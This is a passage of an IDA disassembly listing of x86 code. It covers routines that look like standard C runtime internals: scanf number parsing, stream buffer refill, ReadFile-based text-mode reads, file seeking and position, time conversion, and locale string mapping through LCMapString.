CODE XREF: sub_41AD3D+74Cj cmp [ebp+var_F], 0 jnz loc_41B65A loc_41B5A8: ; CODE XREF: sub_41AD3D+90Aj cmp esi, 78h jz short loc_41B5EC cmp esi, 70h jz short loc_41B5EC cmp dword_437F7C, 1 jle short loc_41B5C7 push 4 push ebx call sub_418556 pop ecx pop ecx jmp short loc_41B5D2 ; --------------------------------------------------------------------------- loc_41B5C7: ; CODE XREF: sub_41AD3D+87Cj mov eax, off_437D70 mov al, [eax+ebx*2] and eax, 4 loc_41B5D2: ; CODE XREF: sub_41AD3D+888j test eax, eax jz short loc_41B64C cmp esi, 6Fh jnz short loc_41B5E5 cmp ebx, 38h jge short loc_41B64C shl edi, 3 jmp short loc_41B624 ; --------------------------------------------------------------------------- loc_41B5E5: ; CODE XREF: sub_41AD3D+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_41B624 ; --------------------------------------------------------------------------- loc_41B5EC: ; CODE XREF: sub_41AD3D+86Ej ; sub_41AD3D+873j cmp dword_437F7C, 1 jle short loc_41B604 push 80h push ebx call sub_418556 pop ecx pop ecx jmp short loc_41B611 ; --------------------------------------------------------------------------- loc_41B604: ; CODE XREF: sub_41AD3D+8B6j mov eax, off_437D70 mov al, [eax+ebx*2] and eax, 80h loc_41B611: ; CODE XREF: sub_41AD3D+8C5j test eax, eax jz short loc_41B64C push ebx shl edi, 4 call sub_41B762 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41B624: ; CODE XREF: sub_41AD3D+8A6j ; sub_41AD3D+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_41B636 dec [ebp+var_C] jz short loc_41B65A loc_41B636: ; CODE XREF: sub_41AD3D+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_41B799 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41B5A8 ; --------------------------------------------------------------------------- loc_41B64C: ; CODE XREF: sub_41AD3D+897j ; sub_41AD3D+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41B7B3 pop ecx pop ecx loc_41B65A: ; CODE XREF: sub_41AD3D+865j ; sub_41AD3D+8F7j cmp [ebp+var_17], 0 jz short loc_41B662 neg edi loc_41B662: ; CODE XREF: sub_41AD3D+843j ; sub_41AD3D+85Cj ... cmp esi, 46h jnz short loc_41B66B and [ebp+var_1C], 0 loc_41B66B: ; CODE XREF: sub_41AD3D+928j cmp [ebp+var_1C], 0 jz loc_41B743 cmp [ebp+var_E], 0 jnz short loc_41B6A4 inc [ebp+var_34] loc_41B67E: ; CODE XREF: sub_41AD3D+23Bj cmp [ebp+var_30], 0 jz short loc_41B694 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_41B6A4 ; --------------------------------------------------------------------------- loc_41B694: ; CODE XREF: sub_41AD3D+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_41B6A1 mov [eax], edi jmp short loc_41B6A4 ; --------------------------------------------------------------------------- loc_41B6A1: ; CODE XREF: sub_41AD3D+95Ej mov [eax], di loc_41B6A4: ; CODE XREF: sub_41AD3D+241j ; sub_41AD3D+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_41B6F1 ; --------------------------------------------------------------------------- loc_41B6AF: ; CODE XREF: sub_41AD3D+93j inc [ebp+var_4] push edi call sub_41B799 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_41B71E mov ecx, off_437D70 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41B6F1 inc [ebp+var_4] push edi call sub_41B799 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_41B72C dec [ebp+var_4] loc_41B6F1: ; CODE XREF: sub_41AD3D+970j ; sub_41AD3D+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41B707 cmp byte ptr [esi], 25h jnz short loc_41B749 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_41B749 mov esi, eax loc_41B707: ; CODE XREF: sub_41AD3D+9B8j mov al, [esi] test al, al jnz loc_41AD67 jmp short loc_41B743 ; --------------------------------------------------------------------------- loc_41B713: ; CODE XREF: sub_41AD3D+1F4j ; sub_41AD3D+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_41B723 ; --------------------------------------------------------------------------- loc_41B71E: ; CODE XREF: sub_41AD3D+98Aj dec [ebp+var_4] push edi push ebx loc_41B723: ; CODE XREF: sub_41AD3D+9DFj call sub_41B7B3 pop ecx pop ecx jmp short loc_41B743 ; --------------------------------------------------------------------------- loc_41B72C: ; CODE XREF: sub_41AD3D+9AFj dec [ebp+var_4] push edi push eax call sub_41B7B3 dec [ebp+var_4] push edi push ebx call sub_41B7B3 add esp, 10h loc_41B743: ; CODE XREF: sub_41AD3D+1Fj ; sub_41AD3D+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41B75A loc_41B749: ; CODE XREF: sub_41AD3D+9BDj ; sub_41AD3D+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_41B75D cmp [ebp+var_15], al jnz short loc_41B75D or eax, 0FFFFFFFFh jmp short loc_41B75D ; --------------------------------------------------------------------------- loc_41B75A: ; CODE XREF: sub_41AD3D+A0Aj mov eax, [ebp+var_34] loc_41B75D: ; CODE XREF: sub_41AD3D+A11j ; sub_41AD3D+A16j ... pop edi pop esi pop ebx leave retn sub_41AD3D endp ; =============== S U B R O U T I N E ======================================= sub_41B762 proc near ; CODE XREF: sub_41AD3D+7A3p ; sub_41AD3D+8DCp arg_0 = dword ptr 4 cmp dword_437F7C, 1 push esi jle short loc_41B77C mov esi, [esp+4+arg_0] push 4 push esi call sub_418556 pop ecx pop ecx jmp short loc_41B78B ; --------------------------------------------------------------------------- loc_41B77C: ; CODE XREF: sub_41B762+8j mov esi, [esp+4+arg_0] mov eax, off_437D70 mov al, [eax+esi*2] and eax, 4 loc_41B78B: ; CODE XREF: sub_41B762+18j test eax, eax jnz short loc_41B795 and esi, 0FFFFFFDFh sub esi, 7 loc_41B795: ; CODE XREF: sub_41B762+2Bj mov eax, esi pop esi retn sub_41B762 endp ; =============== S U B R O U T I N E ======================================= sub_41B799 proc near ; CODE XREF: sub_41AD3D+1E1p ; sub_41AD3D+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_41B7AB mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_41B7AB: ; CODE XREF: sub_41B799+7j push edx call sub_41B8B0 pop ecx retn sub_41B799 endp ; =============== S U B R O U T I N E ======================================= sub_41B7B3 proc near ; CODE XREF: sub_41AD3D+6Bp ; sub_41AD3D+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_41B7C9 push [esp+arg_4] push [esp+4+arg_0] call sub_41E0DF pop ecx pop ecx locret_41B7C9: ; CODE XREF: sub_41B7B3+5j retn sub_41B7B3 endp ; =============== S U B R O U T I N E ======================================= sub_41B7CA proc near ; CODE XREF: sub_41AD3D+63p ; sub_41AD3D+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_41B7D0: ; CODE XREF: sub_41B7CA+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_41B799 mov edi, eax push edi call sub_41E095 pop ecx test eax, eax pop ecx jnz short loc_41B7D0 mov eax, edi pop edi pop esi retn sub_41B7CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B7EE proc near ; CODE XREF: sub_416AD4+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_41B8AA cmp ebx, 8Ah jg loc_41B8AA push esi push edi mov edi, [ebp+arg_4] mov esi, dword_438804[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_41B82D cmp edi, 2 jle short loc_41B82D inc esi loc_41B82D: ; CODE XREF: sub_41B7EE+37j ; sub_41B7EE+3Cj call sub_41E14D mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_438720 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_41B8A0 cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_41B8A6 cmp dword_438724, 0 jz short loc_41B8A6 lea eax, [ebp+var_24] push eax call sub_41E3C0 pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_41B8A6 loc_41B8A0: ; CODE XREF: sub_41B7EE+90j add ecx, dword_438728 loc_41B8A6: ; CODE XREF: sub_41B7EE+96j ; sub_41B7EE+9Fj ... mov eax, ecx jmp short loc_41B8AD ; --------------------------------------------------------------------------- loc_41B8AA: ; CODE XREF: sub_41B7EE+13j ; sub_41B7EE+1Fj or eax, 0FFFFFFFFh loc_41B8AD: ; CODE XREF: sub_41B7EE+BAj pop ebx leave retn sub_41B7EE endp ; =============== S U B R O U T I N E ======================================= sub_41B8B0 proc near ; CODE XREF: sub_416BB0+A9p ; sub_41713C+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41B984 test al, 40h jnz loc_41B984 test al, 2 jz short loc_41B8D6 or al, 20h mov [esi+0Ch], eax jmp loc_41B984 ; --------------------------------------------------------------------------- loc_41B8D6: ; CODE XREF: sub_41B8B0+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41B8EA push esi call sub_41D06C pop ecx jmp short loc_41B8EF ; --------------------------------------------------------------------------- loc_41B8EA: ; CODE XREF: sub_41B8B0+2Fj mov eax, [esi+8] mov [esi], eax loc_41B8EF: ; CODE XREF: sub_41B8B0+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41B989 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41B973 cmp eax, 0FFFFFFFFh jz short loc_41B973 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41B948 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41B931 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_46A7C0[edi*4] lea edi, [edi+ecx*8] jmp short loc_41B936 ; --------------------------------------------------------------------------- loc_41B931: ; CODE XREF: sub_41B8B0+6Bj mov edi, offset dword_4383D0 loc_41B936: ; CODE XREF: sub_41B8B0+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41B948 or dh, 20h mov [esi+0Ch], edx loc_41B948: ; CODE XREF: sub_41B8B0+62j ; sub_41B8B0+90j cmp dword ptr [esi+18h], 200h jnz short loc_41B965 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41B965 test ch, 4 jnz short loc_41B965 mov dword ptr [esi+18h], 1000h loc_41B965: ; CODE XREF: sub_41B8B0+9Fj ; sub_41B8B0+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41B973: ; CODE XREF: sub_41B8B0+55j ; sub_41B8B0+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41B984: ; CODE XREF: sub_41B8B0+Aj ; sub_41B8B0+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41B8B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B989 proc near ; CODE XREF: sub_416BB0+90p ; sub_41B8B0+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_46A8C0 jnb loc_41BB66 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:46A7C0h[eax*4] mov eax, dword_46A7C0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41BB66 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41BA3E test dl, 2 jnz short loc_41BA3E test dl, 48h jz short loc_41B9FE mov al, [eax+5] cmp al, 0Ah jz short loc_41B9FE dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41B9FE: ; CODE XREF: sub_41B989+56j ; sub_41B989+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call dword_421068 ; ReadFile test eax, eax jnz short loc_41BA51 call dword_421088 ; RtlGetLastWin32Error push 5 pop ecx cmp eax, ecx jnz short loc_41BA39 mov dword_469494, 9 mov dword_469498, ecx jmp loc_41BB77 ; --------------------------------------------------------------------------- loc_41BA39: ; CODE XREF: sub_41B989+99j cmp eax, 6Dh jnz short loc_41BA45 loc_41BA3E: ; CODE XREF: sub_41B989+4Cj ; sub_41B989+51j xor eax, eax jmp loc_41BB7A ; --------------------------------------------------------------------------- loc_41BA45: ; CODE XREF: sub_41B989+B3j push eax call sub_41C5D7 pop ecx jmp loc_41BB77 ; --------------------------------------------------------------------------- loc_41BA51: ; CODE XREF: sub_41B989+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41BB61 test edx, edx jz short loc_41BA76 cmp byte ptr [edi], 0Ah jnz short loc_41BA76 or al, 4 jmp short loc_41BA78 ; --------------------------------------------------------------------------- loc_41BA76: ; CODE XREF: sub_41B989+E2j ; sub_41B989+E7j and al, 0FBh loc_41BA78: ; CODE XREF: sub_41B989+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41BB5B loc_41BA90: ; CODE XREF: sub_41B989+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41BB4B cmp al, 0Dh jz short loc_41BAAC mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41BB3D ; --------------------------------------------------------------------------- loc_41BAAC: ; CODE XREF: sub_41B989+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41BACA mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41BAC1 add [ebp+arg_8], 2 jmp short loc_41BB1F ; --------------------------------------------------------------------------- loc_41BAC1: ; CODE XREF: sub_41B989+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41BB3D ; --------------------------------------------------------------------------- loc_41BACA: ; CODE XREF: sub_41B989+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_421068 ; ReadFile test eax, eax jnz short loc_41BAF2 call dword_421088 ; RtlGetLastWin32Error test eax, eax jnz short loc_41BB39 loc_41BAF2: ; CODE XREF: sub_41B989+15Dj cmp [ebp+var_C], 0 jz short loc_41BB39 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41BB14 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41BB1F mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41BB3D ; --------------------------------------------------------------------------- loc_41BB14: ; CODE XREF: sub_41B989+176j cmp edi, [ebp+arg_4] jnz short loc_41BB24 cmp [ebp+var_1], 0Ah jnz short loc_41BB24 loc_41BB1F: ; CODE XREF: sub_41B989+136j ; sub_41B989+17Dj mov byte ptr [edi], 0Ah jmp short loc_41BB3C ; --------------------------------------------------------------------------- loc_41BB24: ; CODE XREF: sub_41B989+18Ej ; sub_41B989+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_41BB7F add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41BB3D loc_41BB39: ; CODE XREF: sub_41B989+167j ; sub_41B989+16Dj mov byte ptr [edi], 0Dh loc_41BB3C: ; CODE XREF: sub_41B989+199j inc edi loc_41BB3D: ; CODE XREF: sub_41B989+11Ej ; sub_41B989+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41BA90 jmp short loc_41BB5B ; --------------------------------------------------------------------------- loc_41BB4B: ; CODE XREF: sub_41B989+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41BB5B or al, 2 mov [esi], al loc_41BB5B: ; CODE XREF: sub_41B989+101j ; sub_41B989+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41BB61: ; CODE XREF: sub_41B989+DAj mov eax, [ebp+var_8] jmp short loc_41BB7A ; --------------------------------------------------------------------------- loc_41BB66: ; CODE XREF: sub_41B989+12j ; sub_41B989+39j and dword_469498, 0 mov dword_469494, 9 loc_41BB77: ; CODE XREF: sub_41B989+ABj ; sub_41B989+C3j or eax, 0FFFFFFFFh loc_41BB7A: ; CODE XREF: sub_41B989+B7j ; sub_41B989+1DBj pop edi pop esi pop ebx leave retn sub_41B989 endp ; =============== S U B R O U T I N E ======================================= sub_41BB7F proc near ; CODE XREF: sub_416E3E+67p ; sub_417C37+CDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_46A8C0 push esi push edi jnb short loc_41BC01 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:46A7C0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_41BC01 push eax call sub_41D4C6 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41BBC3 mov dword_469494, 9 jmp short loc_41BC12 ; --------------------------------------------------------------------------- loc_41BBC3: ; CODE XREF: sub_41BB7F+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call dword_4210AC ; SetFilePointer mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41BBE3 call dword_421088 ; RtlGetLastWin32Error jmp short loc_41BBE5 ; --------------------------------------------------------------------------- loc_41BBE3: ; CODE XREF: sub_41BB7F+5Aj xor eax, eax loc_41BBE5: ; CODE XREF: sub_41BB7F+62j test eax, eax jz short loc_41BBF2 push eax call sub_41C5D7 pop ecx jmp short loc_41BC12 ; --------------------------------------------------------------------------- loc_41BBF2: ; CODE XREF: sub_41BB7F+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_41BC15 ; --------------------------------------------------------------------------- loc_41BC01: ; CODE XREF: sub_41BB7F+Dj ; sub_41BB7F+2Aj and dword_469498, 0 mov dword_469494, 9 loc_41BC12: ; CODE XREF: sub_41BB7F+42j ; sub_41BB7F+71j or eax, 0FFFFFFFFh loc_41BC15: ; CODE XREF: sub_41BB7F+80j pop edi pop esi pop ebx retn sub_41BB7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BC19 proc near ; CODE XREF: sub_416E3E+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_41BC35 mov [edi+4], ebx loc_41BC35: ; CODE XREF: sub_41BC19+17j push 1 push ebx push esi call sub_41BB7F add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_41BCA3 mov edx, [edi+0Ch] test dx, 108h jnz short loc_41BC5A sub eax, [edi+4] jmp loc_41BD6C ; --------------------------------------------------------------------------- loc_41BC5A: ; CODE XREF: sub_41BC19+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_41BC94 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_46A7C0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_41BCAB mov edx, ecx loc_41BC85: ; CODE XREF: sub_41BC19+79j cmp edx, eax jnb short loc_41BCAB cmp byte ptr [edx], 0Ah jnz short loc_41BC91 inc [ebp+var_8] loc_41BC91: ; CODE XREF: sub_41BC19+73j inc edx jmp short loc_41BC85 ; --------------------------------------------------------------------------- loc_41BC94: ; CODE XREF: sub_41BC19+50j test dl, 80h jnz short loc_41BCAB mov dword_469494, 16h loc_41BCA3: ; CODE XREF: sub_41BC19+2Dj or eax, 0FFFFFFFFh jmp loc_41BD6C ; --------------------------------------------------------------------------- loc_41BCAB: ; CODE XREF: sub_41BC19+68j ; sub_41BC19+6Ej ... cmp [ebp+var_4], 0 jnz short loc_41BCB9 mov eax, [ebp+var_8] jmp loc_41BD6C ; --------------------------------------------------------------------------- loc_41BCB9: ; CODE XREF: sub_41BC19+96j test byte ptr [edi+0Ch], 1 jz loc_41BD64 mov edx, [edi+4] test edx, edx jnz short loc_41BCD2 and [ebp+var_8], edx jmp loc_41BD64 ; --------------------------------------------------------------------------- loc_41BCD2: ; CODE XREF: sub_41BC19+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:46A7C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_41BD5E push 2 push 0 push [ebp+var_C] call sub_41BB7F add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_41BD25 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_41BD10: ; CODE XREF: sub_41BC19+104j cmp eax, ecx jnb short loc_41BD1F cmp byte ptr [eax], 0Ah jnz short loc_41BD1C inc [ebp+arg_0] loc_41BD1C: ; CODE XREF: sub_41BC19+FEj inc eax jmp short loc_41BD10 ; --------------------------------------------------------------------------- loc_41BD1F: ; CODE XREF: sub_41BC19+F9j test byte ptr [edi+0Dh], 20h jmp short loc_41BD59 ; --------------------------------------------------------------------------- loc_41BD25: ; CODE XREF: sub_41BC19+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_41BB7F mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_41BD4C mov ecx, [edi+0Ch] test cl, 8 jz short loc_41BD4C test ch, 4 jz short loc_41BD4F loc_41BD4C: ; CODE XREF: sub_41BC19+124j ; sub_41BC19+12Cj mov eax, [edi+18h] loc_41BD4F: ; CODE XREF: sub_41BC19+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_41BD59: ; CODE XREF: sub_41BC19+10Aj jz short loc_41BD5E inc [ebp+arg_0] loc_41BD5E: ; CODE XREF: sub_41BC19+D9j ; sub_41BC19:loc_41BD59j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_41BD64: ; CODE XREF: sub_41BC19+A4j ; sub_41BC19+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_41BD6C: ; CODE XREF: sub_41BC19+3Cj ; sub_41BC19+8Dj ... pop edi pop esi pop ebx leave retn sub_41BC19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BD71 proc near ; CODE XREF: sub_417193+A3p ; sub_41AC71+A5p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421878 push offset sub_41CE08 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_46951C, edi jnz short loc_41BDE7 push edi push edi push 1 pop ebx push ebx push offset dword_421870 mov esi, 100h push esi push edi call dword_421190 ; LCMapStringW test eax, eax jz short loc_41BDC5 mov dword_46951C, ebx jmp short loc_41BDE7 ; --------------------------------------------------------------------------- loc_41BDC5: ; CODE XREF: sub_41BD71+4Aj push edi push edi push ebx push offset dword_438FD4 push esi push edi call dword_42118C ; LCMapStringA test eax, eax jz loc_41BEFF mov dword_46951C, 2 loc_41BDE7: ; CODE XREF: sub_41BD71+2Ej ; sub_41BD71+52j cmp [ebp+arg_C], edi jle short loc_41BDFC push [ebp+arg_C] push [ebp+arg_8] call sub_41BF95 pop ecx pop ecx mov [ebp+arg_C], eax loc_41BDFC: ; CODE XREF: sub_41BD71+79j mov eax, dword_46951C cmp eax, 2 jnz short loc_41BE23 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_42118C ; LCMapStringA jmp loc_41BF01 ; --------------------------------------------------------------------------- loc_41BE23: ; CODE XREF: sub_41BD71+93j cmp eax, 1 jnz loc_41BEFF cmp [ebp+arg_18], edi jnz short loc_41BE39 mov eax, dword_469538 mov [ebp+arg_18], eax loc_41BE39: ; CODE XREF: sub_41BD71+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call dword_421064 ; MultiByteToWideChar mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_41BEFF mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_415D70 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_41BE94 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_41BE94: ; CODE XREF: sub_41BD71+10Ej cmp [ebp+var_24], edi jz short loc_41BEFF push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call dword_421064 ; MultiByteToWideChar test eax, eax jz short loc_41BEFF push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_421190 ; LCMapStringW mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_41BEFF test byte ptr [ebp+arg_4+1], 4 jz short loc_41BF13 cmp [ebp+arg_14], edi jz loc_41BF8E cmp esi, [ebp+arg_14] jg short loc_41BEFF push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_421190 ; LCMapStringW test eax, eax jnz loc_41BF8E loc_41BEFF: ; CODE XREF: sub_41BD71+66j ; sub_41BD71+B5j ... xor eax, eax loc_41BF01: ; CODE XREF: sub_41BD71+ADj ; sub_41BD71+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41BF13: ; CODE XREF: sub_41BD71+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_415D70 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_41BF47 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_41BF47: ; CODE XREF: sub_41BD71+1C2j cmp ebx, edi jz short loc_41BEFF push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_421190 ; LCMapStringW test eax, eax jz short loc_41BEFF cmp [ebp+arg_14], edi push edi push edi jnz short loc_41BF6E push edi push edi jmp short loc_41BF74 ; --------------------------------------------------------------------------- loc_41BF6E: ; CODE XREF: sub_41BD71+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_41BF74: ; CODE XREF: sub_41BD71+1FBj push esi push ebx push 220h push [ebp+arg_18] call dword_421138 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_41BEFF loc_41BF8E: ; CODE XREF: sub_41BD71+165j ; sub_41BD71+188j mov eax, esi jmp loc_41BF01 sub_41BD71 endp ; =============== S U B R 